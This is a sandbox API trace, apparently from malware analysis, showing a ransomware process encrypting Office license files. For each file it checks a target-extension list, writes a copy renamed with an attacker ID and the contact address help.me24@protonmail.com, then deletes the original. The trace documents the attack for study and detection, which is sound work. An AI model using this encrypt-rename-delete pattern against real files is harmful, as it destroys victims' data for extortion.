	[0184.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0184.194] lstrlenW (lpString=".1cd") returned 4
	[0184.194] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79
	[0184.194] lstrlenW (lpString=".jpg") returned 4
	[0184.194] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.194] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.194] lstrlenW (lpString="MondoR_SubTrial-pl.xrm-ms") returned 25
	[0184.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0184.195] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11151) returned 1
	[0184.195] CloseHandle (hObject=0x530) returned 1
	[0184.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 0x220
	[0184.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0184.405] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.405] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0184.407] GetLastError () returned 0x0
	[0184.407] ReadFile (in: hFile=0x3c8, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2b8f, lpOverlapped=0x0) returned 1
	[0184.409] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0184.411] ReadFile (in: hFile=0x3c8, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.411] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x106, lpOverlapped=0x0) returned 1
	[0184.411] SetEndOfFile (hFile=0x4a4) returned 1
	[0184.411] CloseHandle (hObject=0x4a4) returned 1
	[0184.411] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.411] SetEndOfFile (hFile=0x3c8) returned 1
	[0184.415] CloseHandle (hObject=0x3c8) returned 1
	[0184.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 1
	[0184.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0184.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0184.417] lstrlenW (lpString=".doc") returned 4
	[0184.417] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.417] lstrlenW (lpString=".docx") returned 5
	[0184.417] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.417] lstrlenW (lpString=".pdf") returned 4
	[0184.417] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.417] lstrlenW (lpString=".xls") returned 4
	[0184.417] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.417] lstrlenW (lpString=".xlsx") returned 5
	[0184.417] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.417] lstrlenW (lpString=".ppt") returned 4
	[0184.417] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0184.417] lstrlenW (lpString=".zip") returned 4
	[0184.418] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.418] lstrlenW (lpString=".rar") returned 4
	[0184.418] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.418] lstrlenW (lpString=".bz2") returned 4
	[0184.418] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.418] lstrlenW (lpString=".7z") returned 3
	[0184.418] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0184.418] lstrlenW (lpString=".dbf") returned 4
	[0184.418] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0184.418] lstrlenW (lpString=".1cd") returned 4
	[0184.418] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0184.418] lstrlenW (lpString=".jpg") returned 4
	[0184.418] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0184.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0184.418] lstrlenW (lpString=".doc") returned 4
	[0184.418] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.418] lstrlenW (lpString=".docx") returned 5
	[0184.418] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.418] lstrlenW (lpString=".pdf") returned 4
	[0184.418] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.418] lstrlenW (lpString=".xls") returned 4
	[0184.418] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.418] lstrlenW (lpString=".xlsx") returned 5
	[0184.418] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.418] lstrlenW (lpString=".ppt") returned 4
	[0184.418] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0184.419] lstrlenW (lpString=".zip") returned 4
	[0184.419] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.419] lstrlenW (lpString=".rar") returned 4
	[0184.419] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.419] lstrlenW (lpString=".bz2") returned 4
	[0184.419] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.419] lstrlenW (lpString=".7z") returned 3
	[0184.419] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0184.419] lstrlenW (lpString=".dbf") returned 4
	[0184.419] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0184.419] lstrlenW (lpString=".1cd") returned 4
	[0184.419] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0184.419] lstrlenW (lpString=".jpg") returned 4
	[0184.419] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.419] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.419] lstrlenW (lpString="MondoR_SubTrial2-ul-oob.xrm-ms") returned 30
	[0184.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0184.420] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11600) returned 1
	[0184.421] CloseHandle (hObject=0x3c8) returned 1
	[0184.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 0x220
	[0184.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0184.421] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.421] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0184.422] GetLastError () returned 0x0
	[0184.422] ReadFile (in: hFile=0x3c8, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d50, lpOverlapped=0x0) returned 1
	[0184.424] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0184.426] ReadFile (in: hFile=0x3c8, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.426] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x110, lpOverlapped=0x0) returned 1
	[0184.426] SetEndOfFile (hFile=0x4a4) returned 1
	[0184.426] CloseHandle (hObject=0x4a4) returned 1
	[0184.426] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.426] SetEndOfFile (hFile=0x3c8) returned 1
	[0184.430] CloseHandle (hObject=0x3c8) returned 1
	[0184.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 1
	[0184.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0184.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0184.431] lstrlenW (lpString=".doc") returned 4
	[0184.431] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.431] lstrlenW (lpString=".docx") returned 5
	[0184.431] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.431] lstrlenW (lpString=".pdf") returned 4
	[0184.431] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.431] lstrlenW (lpString=".xls") returned 4
	[0184.431] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.432] lstrlenW (lpString=".xlsx") returned 5
	[0184.432] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.432] lstrlenW (lpString=".ppt") returned 4
	[0184.432] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0184.432] lstrlenW (lpString=".zip") returned 4
	[0184.432] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.432] lstrlenW (lpString=".rar") returned 4
	[0184.432] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.432] lstrlenW (lpString=".bz2") returned 4
	[0184.432] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.432] lstrlenW (lpString=".7z") returned 3
	[0184.432] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0184.432] lstrlenW (lpString=".dbf") returned 4
	[0184.432] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0184.432] lstrlenW (lpString=".1cd") returned 4
	[0184.432] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0184.432] lstrlenW (lpString=".jpg") returned 4
	[0184.432] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0184.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0184.432] lstrlenW (lpString=".doc") returned 4
	[0184.432] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.432] lstrlenW (lpString=".docx") returned 5
	[0184.432] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.433] lstrlenW (lpString=".pdf") returned 4
	[0184.433] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.433] lstrlenW (lpString=".xls") returned 4
	[0184.433] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.433] lstrlenW (lpString=".xlsx") returned 5
	[0184.433] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.433] lstrlenW (lpString=".ppt") returned 4
	[0184.433] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0184.433] lstrlenW (lpString=".zip") returned 4
	[0184.433] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.433] lstrlenW (lpString=".rar") returned 4
	[0184.433] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.433] lstrlenW (lpString=".bz2") returned 4
	[0184.433] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.433] lstrlenW (lpString=".7z") returned 3
	[0184.433] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0184.433] lstrlenW (lpString=".dbf") returned 4
	[0184.433] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0184.433] lstrlenW (lpString=".1cd") returned 4
	[0184.433] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80
	[0184.433] lstrlenW (lpString=".jpg") returned 4
	[0184.433] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.434] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.434] lstrlenW (lpString="MondoR_Trial-pl.xrm-ms") returned 22
	[0184.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0184.435] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11139) returned 1
	[0184.435] CloseHandle (hObject=0x3c8) returned 1
	[0184.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 0x220
	[0184.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0184.436] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.436] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0184.437] GetLastError () returned 0x0
	[0184.437] ReadFile (in: hFile=0x3c8, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2b83, lpOverlapped=0x0) returned 1
	[0184.482] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0184.483] ReadFile (in: hFile=0x3c8, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.483] WriteFile (in: hFile=0x4a4, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x100, lpOverlapped=0x0) returned 1
	[0184.483] SetEndOfFile (hFile=0x4a4) returned 1
	[0184.483] CloseHandle (hObject=0x4a4) returned 1
	[0184.483] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.483] SetEndOfFile (hFile=0x3c8) returned 1
	[0184.487] CloseHandle (hObject=0x3c8) returned 1
	[0184.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 1
	[0184.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0184.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0184.573] lstrlenW (lpString=".doc") returned 4
	[0184.573] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.573] lstrlenW (lpString=".docx") returned 5
	[0184.573] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.573] lstrlenW (lpString=".pdf") returned 4
	[0184.573] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.573] lstrlenW (lpString=".xls") returned 4
	[0184.573] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.573] lstrlenW (lpString=".xlsx") returned 5
	[0184.573] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.573] lstrlenW (lpString=".ppt") returned 4
	[0184.573] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0184.573] lstrlenW (lpString=".zip") returned 4
	[0184.573] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.573] lstrlenW (lpString=".rar") returned 4
	[0184.573] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.573] lstrlenW (lpString=".bz2") returned 4
	[0184.573] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.573] lstrlenW (lpString=".7z") returned 3
	[0184.573] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0184.574] lstrlenW (lpString=".dbf") returned 4
	[0184.574] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0184.574] lstrlenW (lpString=".1cd") returned 4
	[0184.574] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0184.574] lstrlenW (lpString=".jpg") returned 4
	[0184.574] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0184.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0184.574] lstrlenW (lpString=".doc") returned 4
	[0184.574] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.574] lstrlenW (lpString=".docx") returned 5
	[0184.574] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.574] lstrlenW (lpString=".pdf") returned 4
	[0184.574] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.574] lstrlenW (lpString=".xls") returned 4
	[0184.574] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.574] lstrlenW (lpString=".xlsx") returned 5
	[0184.574] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.574] lstrlenW (lpString=".ppt") returned 4
	[0184.574] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
